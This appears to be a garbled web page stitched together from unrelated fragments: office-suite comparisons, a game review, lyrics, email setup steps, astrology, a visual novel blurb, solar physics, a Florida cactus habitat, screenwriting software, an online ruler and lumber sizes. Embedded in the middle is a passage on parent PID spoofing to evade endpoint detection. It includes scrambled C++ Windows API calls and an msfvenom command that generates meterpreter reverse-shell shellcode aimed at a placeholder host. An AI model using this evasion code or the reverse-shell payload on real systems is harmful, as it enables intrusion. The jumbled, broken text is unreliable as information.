WPS Office Free is compatible with Microsoft Office file formats, and the package also uses the ribbon interface instead of a traditional menu. This Microsoft Office alternative consists of a word processor, a program for creating presentations, and one for creating tables. WPS Office Free is the free version of the WPS Office Business Package. OpenOffice works on Windows, Linux, and Mac OS X. Before printing anything out from OpenOffice, it is therefore recommended to always export files as. This can lead to small shifts in the formatting of text documents. When you save your work, you therefore have to switch to. An important difference is that OpenOffice can open all file formats from Microsoft, but cannot save. For some users, it might be crucial that OpenOffice doesn’t use the ribbon layout that has characterized Microsoft Office since 2007. Overall, the layout and operation of OpenOffice can be compared to the Microsoft package. ![]() It additionally boasts a program for processing mathematical formulas. The software package is similar to that of Microsoft Office, and also offers programs for word processing and creating tables, presentations, and databases. OpenOffice is probably the most well-known alternative to Microsoft Office. If you require more features, you should look at other Microsoft Office alternatives. Ultimately, Microsoft Office Online also has fewer features than the classic Microsoft Office package: the applications are limited to Word, Excel, and PowerPoint. There’s also a security risk associated with the internet connection: if you use public WiFi to access Microsoft Office Online, your uploaded data could be intercepted and read. Many users don’t feel comfortable storing their work on a server, since they can’t control how secure the data is. It runs somewhat slower than the desktop version and its speed is also dependent on the quality of the internet connection. ![]() The online version of Microsoft Office comes, of course, with some disadvantages. You also don’t have to install Office updates ever again: the online version is always up-to-date. It’s also possible for several users to work on a single document at once using the online version with trackable changes. The advantage is that you can access your files from any computer, so there’s no need to worry if you leave your laptop at home. If you don’t mind only being able to work when there’s an internet connection, you can switch to the online version of Microsoft Office.
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![]() At one point, you're rolling through a nightclub, dodging out of the way of tipsy revellers in a mop bucket. Still, I'd implore anyone to persevere with I Am Fish, purely because it's home to some genius moments that you won't want to miss. The nightclub is a standout level, even with so many illegal dance moves on show. But there are also ample checkpoints to keep you motoring, and even the ability to skip puzzles entirely if you're totally stuck. So if you're someone partial to chucking a controller in anger, then it may not be the game for you. There might be a ramp that you can't quite angle yourself towards properly, or a pool of water that eludes you. Cloggable? Cloggable! Soon enough, you're searching for more ways to raise the water level just enough for you to hop out of the window.īut yes, sometimes stringing together these moves in I Am Fish can be incredibly frustrating. Then you might notice the toilet and nearby stacks of loo roll. Quickly, you might realise that you can chew through some plumbing to flood it a bit. As the piranha you might find yourself in a bathroom sink and it's up to you to figure out how you're going to chomp your way out of what's otherwise a very dry place. Roll into a ball and a fallen log will make the perfect ramp. Market stall tents might be home to pockets of water you can glide between. Perhaps the most interesting is the piranha, who can latch onto marked objects with its jaws.īossa Studios have done a brilliant job designing their levels around these abilities and making their usage feel natural, not forced. The puffer can inflate itself into a big ball that can roll down hills or bounce off furniture, while the flying fish can leap out of water, pop its long fins and glide a short distance. ![]() I enjoyed the escapades of the other fish a lot more, as they each have a special ability to draw on. You'll need to navigate plenty of trickier, alternate routes to nab them all, though.Īnd although I liked my time with the goldfish, it serves as an intro to these key concepts. In a neat little throwback to the game's predecessor I Am Bread, there's collectable chunks of bread scattered around each level. Stay out of water for too long and your little heart will stop beating, leading you to restart from a checkpoint. You must scan your environment for safe passages and think outside the tank if it seems like there's no way out. In many ways, I Am Fish is a puzzler as much as it is an adventure. Success also means trading your round mobile home for a mop bucket, or a river, or even a glass of water to twist and turn and slide through Barnardshire. Your sphere of H2O is fragile, after all.ĭon't get too comfortable, though, as the bowl is merely a temporary vessel with which to navigate the toxic outside world. Stairs and shelves were not designed with daring fish escapes in mind, which makes every roll of the glass an absolute nerve-shredder. In your quest for freedom, you must nudge your see-through home forwards - but carefully! This is when you come to realise that human constructs are both annoying and incredibly selfish. Right from the get-go, you play as the goldfish trapped in a restrictive orb of glass. I say, "short", but I guess it depends on how you take to the bowl. This is Finding Nemo: Distilled, with genuine laughs and yelps and moments of profound happiness to be had in its short run time. The game's Pixar looks aren't a ruse, either. The scaly protagonists of I Am Fish can't be living without their pals, so they straighten their fins and set out to reunite in the glistening surf. That is, until they're forcibly separated and flung across the far reaches of Barnardshire, a fictional county that captures the West Country ideal so perfectly that I'm gutted it doesn't actually exist.īut that's besides the point. They're best buds and live blissfully in a bowl together. It's a tale of four fishy friends: goldfish, puffer fish, piranha, and flying fish. In fact, it may have elicited more emotion from me in a single sitting than any romance anime I've watched, which is really saying something. This isn't to say that I Am Fish lacks emotional depth. In a west country accent, he bellows, "Swim, you fool!" He is peering into your googly, goldfish eyes. Now imagine Ian Mckellen with the same gravitas as he had playing Gandalf in Lord Of The Rings, except with a farmer's cap on. This isn't a grim tale wrapped in layers of metaphor, or a walking simulator that guides you slowly through a field of feelings. Like a splash of cold water to the face, I Am Fish is a wonderfully refreshing physics platformer. A fun physics platformer with clever levels, a bit of puzzling, and a terrifying man wearing a farmer's cap. ![]() UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL) InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT) SInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT) InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT) ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA)) HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID()) Shellcode, for example msfvenom -p windows/圆4/meterpreter/reverse_tcp LHOST=x.x.x.x EXITFUNC=thread -f c If (Process32First(snapshot, &process)) while (Process32Next(snapshot, &process)) HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) The “ CreateProcess” function was used in conjunction with the “ STARTUPINFOEX” and “ LPPROC_Thread_ATTRIBUTE_LIST“. A proof of concept written in C++ was released ( SelectMyParent) that could allow the user to select the parent process by specifying the PID (process identifier). Originally this technique was introduced into the wider information security audience in 2009 by Didier Stevens. This means that a malicious process can use a different parent when it is created from the one that is actually executed. The Windows API call “ CreateProcess” supports a parameter which allows the user to assign the Parent PID. This has lead red teams and adversaries to use parent PID spoofing as an evasion method. Various EDR’s (endpoint detection and response) can detect this abnormal activity easily. For example if PowerShell is the child process and Microsoft Word is the parent then it is an indication of compromise. Monitoring the relationships between parent and child processes is very common technique for threat hunting teams to detect malicious activities. ![]() On a different note, I LOVE the Where The Wild Things Are soundtrack!! So so good. Who needs more Who needs more Who needs more than the jungle floor Tell me, man, what are you looking for Who needs more than the jungle floor There are bugs to trounce Oh its so fun to pounce Here on the jungle floor. ![]() ![]() Hide from your family, they won't know you nowįor all the holes in our souls host no thrills Where the plants smell sweet And theres critters to eat Here on the jungle floor. Hide from the mirror, the cracks and the memories The original hosts (Adrian Hannah, Ryder Step, and Charles Thomas) spend the week finding things on the Internet that they think are interesting and share their opinions on each topic. What’s The Rumpus Lyrics I came home late on a Sunday, the house was a screaming zoo I couldn't tell if it was a party or a full on wrecking crew Barrels of Booze in my bathroom, Bodies all over. Read this, absolutely, prior to reading this article. This weekly podcast runs the gamut of topics: from tech news to politics, ridiculous internet memes to car news quite literally letting its audience know what the rumpus is each week. :)Īll the scars on your skin, post no bills My Top List of Modern Celtic (not solely Irish) Folk/Rock Bands. Even "Micro Cuts." It's much better when you find out the lyrical content and what the song's actually about! :p It's alot darker and aLOT of distortion and stuff.I like "Citizen Erased". I had to skip to the end of "Micro Cuts" though.ĮDIT: After listening through about 4x and looking up the lyrics to several songs (I can't understand anything Matt is saying in Micro Cuts), I think it's quite a nice album now. It's too much, all at once!! I made it all the way through. Fresh king Hey, king whats your first order of business Let the wild rumpus start Perfect answer Intro: Karen O. I listened to the entire Origin of Symmetry album today. Eponine: You see, I told you so Theres lots of things I know. ![]() One of the first things i do when setting up an Outlook account is to personalize my outgoing email signature. Once you added Outlook you could make some basic configurations to personalize your account. Your configuration settings are available under Tools > Accounts.Your GMail inbox will be setup in Outlook and visible in the left hand pane.Depending of your internet connection and mailbox size, the process will take up to 5 minutes to complete. GMail will get automatically configured in Outlook.In the Launch Application dialog, hit Open Link.Hit Allow to access and modify your Google information, manage your Drive files, contacts and calendar.Your browser will open and the following screen will appear.Hit the Forgot password in order to recover it. Enter your Google password and hit Next.If there is no matching account, you’ll be prompted and asked to manually pick the email provider. Hit the + button in the bottom-left side of the dialog and select New Account or if prompted, hit the Add email account button.(Alternatively hit Tools and then Accounts). Under Personal Settings select Accounts.From your header, go ahead and hit on the Outlook menu item.After making your selection skip to step 5 below. Note: If this is the first time you are setting up email in your MAC, you’ll initially be prompted to select an email provider, be it Exchange, ICloud, Yahoo or GMail. Configuring Gmail settings on Outlook 2019 for MAC The procedure is equally valid for Office 365, as well as the standard Office 20 packages. Read on for the complete details, details for MAC OSX versions prior to High Sierra are similar. As many things in Apple land, setting up GMail is relatively a breeze. Specifically i am looking for the pop or IMAP settings that I’ll need to use in order to connect to the GMail account from the MAC. I just bought a Macbook air with the High Sierra operating system installed, and need some configuration help for GMail for Outlook. I found online several guides that explain how to setup GMail into Microsoft Outlook on Windows 7 and 10. Enter your full AT&T email address.Ĭouple of days ago, we got the following question: Complete your User Information: Enter your name as you want it to display to others. Choose Manual setup or additional server types. Use these steps to set up your email for the first time or on a new computer. Outlook 2016 for Mac integrates with a variety of different email clients, including Exchange, Office 365,, Hotmail, iCloud, Google, and Yahoo! This means that when you add all of your email accounts to Outlook, you can compose new messages and read and respond to email messages from one application-no need to open multiple email. Setting Up A Microsoft 365 Account With Microsoft Outlook 2016 For Mac Os.Maybe you have knowledge that, people have search hundreds times for their favorite novels like this joey yap bazi analysis bing fire, but end up in infectious downloads. Online Library Joey Yap Bazi Analysis Bing Fire Joey Yap Bazi Analysis Bing Fire Thank you very much for downloading joey yap bazi analysis bing fire. BaziCalc (Palm) is the ideal Bazi software computation tool for Bazi & Feng Shui practitioners, geomancers, enthusiasts, and practically anyone who needs a Bazi (子平八字命盤 zi ping bazi ming pan) software to compute the Bazi chart of persons/subjects for reference and analysis. Please key in your student ID and Password below to use our service. Luck is again divided into 2 parts, the Major and the Annual Luck. First is the Destiny chart or sometimes called the Natal chart or in chinese is called the Ming Pan. ![]() Bazi astrology is divided into 2 major part. One of it to tell our life potential apart from life path, our character etc. ![]() The voices in your game were cartoony but not annoying and so I found myself loving it and them, the characters in turn.Īder's voice was especially surprisingly good! I knew he was kinda going for that dumb jock feel, which would normally be aggravating but his voice and characterization of Ader was endearing (no pun intended). Alot of voiceactors also come across as very."voice actory" and not natural at all. I found myself reading alot of the notes/annotations not cause I was lost but because I was genuinely interested in the universe being shown.Īlso the voice acting.I'm usually wary of voice acting in VN's.1 of the things I like about VN's is I can imagine their voices any which way I want (which is probably why I prefer the older JRPG's lol). The world is very rich in lore and flavor as well. It's inspiring and I hope to do some of that in my next VN. It is such a polished product (even though the BG's are still very rough) and alot of care in the animations and movement were so refreshing! It had way more animation than I've ever seen in any VN I've played. Right from the get-go I immediately had a feeling I was in for something special. You’ll laugh and cry watching this touching romance unfold, layer by layer… always more to it than meets the eye.I cant believe more people haven't commented on this post! I tried out the demo recently and I must say I really enjoyed myself. Queer romance storyIn an unconventional tale told in an unconventional way, not even falling in love could be a straightforward affair.Unique Fantasy WorldWith deep lore and a history all of its own, the world of The Hayseed Knight extends much farther than this story and is ready for you to dive into using the in-game encyclopedia.Passion projectCreated primarily by one dedicated person over the last five years, The Hayseed Knight is a work of love and truly reflects the heart and soul poured into it. ![]() Beautiful illustration and animationCloser to a cartoon than simply a visual novel, every scene in The Hayseed Knight is hand drawn and lovingly animated to truly bring the characters and world to life.Dodge prying questions from an enigmatic sorceress, avoid the ire of your grumpy boss, scrape funds together for your next meal with a tone-deaf bard, engage in philosophical conversation with a giant tree man and more. This gorgeous, animated visual novel unravels in unexpected ways with a perfect blend of mystery, comedy and romance. Fully voice acted and bursting with charismaEvery character you meet on your journey through Acazhor is fully voiced and overflowing with personality. Join a ragtag band of misfits as they piece together how Ader, a one-eyed farmboy with seemingly impossible dreams, becomes the most celebrated knight the kingdom of Acazhor has ever known.Choose Ader's fateTake care as you play, because your decisions throughout Ader's tale will ultimately impact the strength of his bonds with the rest of the cast and decide the outcome of his story.A grand, mysterious tale Come closer, and listen to the tale of Ader-sind of the Upperfield, the greatest knight the kingdom has ever known! The bravest! The most handsome! The. Alternative title: Pools Closed Eina has found a great watering hole to collect er, taxes from.Join a ragtag band of misfits as they piece together how Ader, a one-eyed farmboy with seemingly impossible dreams, becomes the most celebrated knight the kingdom of Acazhor has ever known. About This Game The game is still being developed, and it currently includes chapters 1 to 3- around 10 hours of content! There's one more chapter and an epilogue left, and they will be released as free updates to those who already own the game. The sun is so distant from the earth as the edge of the photosphere appears sharp to the naked eye. It is the part from where the sun's light reaches directly to the Earth. It is the most visible surface of the sun. Because of the distance between the earth and the sun, the light of the sun reaches the earth in eight minutes. This is the layer of the sun from which most of the light of the sun comes out. At this layer, the energy of the sun is released in the form of light. The thickness of the photosphere is 500 kilometres. ![]() It is flowing at a velocity of 7 km/second. Granules are cells of plasma that are 1000 km in diameter with hot rising plasma in the centre and the cooler plasma laying in the narrow spaces between them. It is composed of convection cells which are called granules. It is the deepest region of the luminous object. The term photosphere derived from the ancient Greek roots, photos means "light" and sphaira means "sphere" which refers to being a spherical surface. The lowest layer of the sun is the photosphere. So, the photosphere acts as their effective visible surface. In the universe, the stars have no gases but the gas beneath the photosphere is opaque. It is located under the chromosphere and the corona. The lowest visible layer of a star is the photosphere. The photosphere is the external layer of the Sun which is known as the luminous envelope or the visible layer of the sun from which light as well as heat radiate. Out of these, we talk about the main photosphere which is the outer layer of the earth. The inner layer of the sun is the core, radiative zone and convection zone while the photosphere, the chromosphere, the transition region and the corona are the outer layers of the sun. ![]() The atmosphere of the sun is composed of different layers and gases. This topic is very much essential in the fields of Astronomy, Geography, and Earth Science. We will learn what is the photosphere, its definition, its features and other related aspects as well. In this article, we will cover one of these layers i.e. Different ranges of temperature can be observed in these layers which have their own significance. It has a different structure consisting of Internal and external structure. Hydrogen and Helium are the two most elements of its composition. The Sun is considered as the centre of our solar system which also consists of planets, satellites, etc. ![]() This restoration will enable the rare species and the other herbaceous Keys cactus barren species to thrive. This restoration will improve the abundance and distribution of the flora associated with this habitat, and specifically will enhance the protection of the imperiled species. Care for Imperiled Speciesĭuring the restoration, care is taken to protect the jumping cactus and other sensitive plant species. These species include buttonwood ( Conocarpus erectus), cat’s claw ( Pithecellobium unguis cati), white indigo berry ( Randia aculeata), limber caper ( Cynophalla flexuosa), Christmas berry ( Lycium carolinianum), gumbo limbo ( Bursera simaruba), blackbead ( Pithecellobium keyense) and saffron plum ( Sideroxylon celastrinum). Once the spine is ripe, it easily detaches from the main plant and will begin rooting once it hits the ground. This is a unique adaptation that helps the cactus procreate and multiply in different locations. ![]() Park rangers and contractors are working to remove the hardwood trees. The cactus gets its name from its habit of ‘jumping’ from its parent plant to the ground or onto the skin of any animal that passes by. As a result, some native hardwood trees have started growing in the cactus barren, crowding out the cactus and other plants that typically grow there. Since the construction of the Overseas Railroad in the early 1900s, the flow of water in this area has changed. This barren provides important habitat for several native and rare plant species, and it also supports a variety of wildlife, including migratory and wading birds, butterflies, spiders and pollinating insects. keyensis), the imperiled Cape Sable thoroughwort ( Chromolaena frustrata), the imperiled wild cotton ( Gossypium hirsutum) and the imperiled sky blue morning glory ( Jacquemontia pentanthos), as well as uncommon species such as yellow hibiscus ( Cienfuegosia yucatanensis) and creeping morning glory ( Evolvulus convolvuloides). The 5-acre cactus barren is also home to the endemic Florida Keys indigo ( Indigofera mucronata var. As expected, the population of these plants changes between the rainy months of summer and the drier months of winter.Īn effort is underway to restore the cactus barren to protect its imperiled plants. It’s in the same genus as a prickly pear, grows to about 5.5 inches tall and has long spines. The jumping cactus is a rare plant that occurs only in the Florida Keys. A cactus barren is located on the bayside of Long Key State Park and is one of the few locations where the jumping cactus ( Opuntia triacantha) survives. For some, it’s a surprise that cacti can thrive in this humid, tropical paradise.Īn ecological community that supports a variety of plants and wildlife, the Keys cactus barren occurs in scattered patches along a few of the shorelines in the Florida Keys. What few people know is that the park is also home to a rare cactus barren. Long Key State Park A visit to Long Key State Park in the Florida Keys often means kayaking through the mangrove tunnels and hiking the nature trails. Remember to save your work after each scene to avoid losing your content. Print out your PDF version or use a split screen or multiple windows on your computer to display the PDF next to the Final Draft. This may be the best choice if you have no other options or if the script needs scene-by-scene revisions. You can retype the script yourself or pay someone else to do it for you. Prior to computers, retyping the script was the only option when editing. Of the four options, retyping the script requires the most work. Here are four options you can use to convert your PDF file into the Final Draft program: 1. Related: How To Become a Screenwriter How to convert PDF files to Final Draft If your computer crashes and you only have an old PDF copy as a backup. If a script was originally written on paper and then scanned to become a PDF file. If a producer hires you to rewrite a script but only has a PDF copy. Some common situations where screenwriters may need to convert PDFs to Final Draft include: In these cases, a professional may want to convert their PDF to Final Draft so they can edit it more effectively. fdx file removes the need to convert files, but at times, screenwriters may find themselves with only a PDF file, which can be more challenging to edit. When editing screenplays from other writers, working with an. Final Draft has many features that make writing, formatting and editing simple. Screenwriters use the Final Draft software to create their screenplays. Proofreading (Definitions, Differences and Similarities) Why convert a PDF to Final Draft? In this article, we provide step-by-step instructions on how to convert PDF files to Final Draft, with four methods to choose from. Learning how to convert your PDF files to Final Draft can save time and improve your screenwriting and editing experience. However, situations may occur that leave you with a PDF file that you need to edit. So, to make it easier, Final Draft 10 has an extra tools for that.Ĭhoose the character you want to replace and enter the new name.īut, be careful, this tool will replace the character name everywhere: action lines, parenthetical, in every dialogue line, and also in the background in Smart lists, that we haven’t yet had the chance to look at.Īlso, this action cannot be undone, so be sure you really want to do it and double check if the new character name is written correctly.Many screenwriters work with the Final Draft program because it allows them to easily create and revise scripts. If you want to change the name of a character you would have to select all the elements where a character name appears. That way, if somewhere in your action lines the word “Garage” appears, it will continue to be “Garage” and it won’t be changed to “John’s Garage”. Because that’s where the name of the location appears. If you want to change the name of a location from “Garage” to “John’s Garage” for example you can decide to only replace the word “Garage” with “John’s Garage” in scene headings. This is especially useful when you want to change the name of a character or a location for example. ![]() What Final Draft 12 adds for screenwriters is that it lets you choose which screenplay elements you want to include in or exclude from the search. So far this is pretty much standard for text editor search and replace tools. You can choose to only search for full words, exclude or include capitalization, and search forward or backwards, depending on where you think you’re going to find the search term more quickly. ![]() Final Draft 12 will jump to the word if it finds it. To search for a word just enter it and hit “Find Next”. ![]() It works pretty much the same way, except that it adds the possibility to include certain screenplay related elements. If you’ve used a find and replace tool in another text editor, you’ll quickly become familiar with this one. How To Use “Find And Replace” In Final Draft 12Īpart from the “Search Tool”, which is discussed in another article, Final Draft has another tool for when you just want to search for a certain word and character name.Īnd this tool is the “Find and Replace”. I found a problem that these existing online rules are not very accurate. Unfortunately, after i tried the virtual online rulers on the Internet, So i connected to the internet and tried to find an online virtual ruler to measure my product. Just like usual, i didn't carry a ruler with me, Just had a project on hand, and i had to tell the customer the actual size of a product. One day, i took my laptop computer to work in the coffee shop, If you are interested to help this, please visit this translation page. We are looking for volunteer to improve the content in your native language, We hope to provide a more user-friendly experience,Īre you willing to offer a native language version for your country ? ![]() On the most popular browsers you can press the F5 key or click on the refresh button. Remember to save the setting for the next time you use it,Īfter save the setting, refresh your brower to check the result. Save the pixels per inch (PPI) according your own device, then you can use this ruler next time.ĭragging ruler adjuster left or right to fit the size of your reference object, My mobile phones (Sony Xperia C5, OPPO R11 Plus) are both 122.6 PPI,Īpple iPhone 5 is 163 PPI, iPhone 7 is 162 PPI, iPhone X is 151.7 PPI. Now i have the most accurate virtual ruler on the web. So i adjust the default pixels per inch(PPI) to 100.7, I found the markings are not very accurate at 30cm, In the office, a A4 size printable paper is a good comparison object,īelow ruler adjuster help us to calibrate accuracy more easily.Īfter i measure the size of virtual ruler by an actual ruler, You can compare to any standard size object at your side,Į.g., coin, credit card, CD, paper money, mobile phone, When you know the width, you can adjust the ruler's PPI setting by it, Then search "the width of your paper money" online, Use standard objects to compare lengths, check your wallet, use any paper money to be our compare object,.I am lucky and found my screen has 100 PPI. Search "display by pixel density" online, check if there has your device's brand and model,.The screen resolution of your current device is pixels. Of course, lengths are customized for each job.To have the most accurate ruler online, just set the pixels per inch(PPI),īelow are some ways to know the pixels per inch to your device. A wide range of depths are available, far too many to list here, so please contact your local manufacturer for more information on their offerings - in general depths start at 6" and go up to 30" and beyond. Standard widths are specified in the above publication, but can be customized as needed. The following table comes from the American Institute of Timber Construction's Standard Specification for Structural Glued Laminated Timber of Hardwood Species publication.ĪNSI/AITC A190.1-1992 allows for any width and depth of glue laminated timber. It is advisable to check with your contractor or lumber supplier before finalizing design details so you aren't surprised by what you receive. However, in some cases, like the big-box hardware stores, the boards come in dimensional widths similar to softwood widths. In most cases, hardwood boards come in random widths to be ripped to size by the woodworker. For instance, hardwood trim that ends up being just over 1" thick (surfaced on 2 sides) is called a five-quarter (5/4) board. In North America, hardwood lumber is usually specified using the quarter system, where a board is identified by its thickness in quarters of an inch. Surfaced refers to a finishing process that smooths the lumber to remove all saw marks. ![]() Hardwood lumber is sized based on how many sides are surfaced. ![]() Softwood lumber comes in a number of standard lengths as listed in the table below. North American Standard 8-by Lumber NOMINAL SIZE (INCHES) North American Standard 6-by Lumber NOMINAL SIZE (INCHES) North American Standard 4-by Lumber NOMINAL SIZE (INCHES) North American Standard 2-by Lumber NOMINAL SIZE (INCHES) North American Standard 1-by Lumber NOMINAL SIZE (INCHES) In the United States, softwood lumber is governed by the National Institute of Standards American Softwood Lumber Standard (PS 20). Softwood lumber is generally used for framing walls and floors. |
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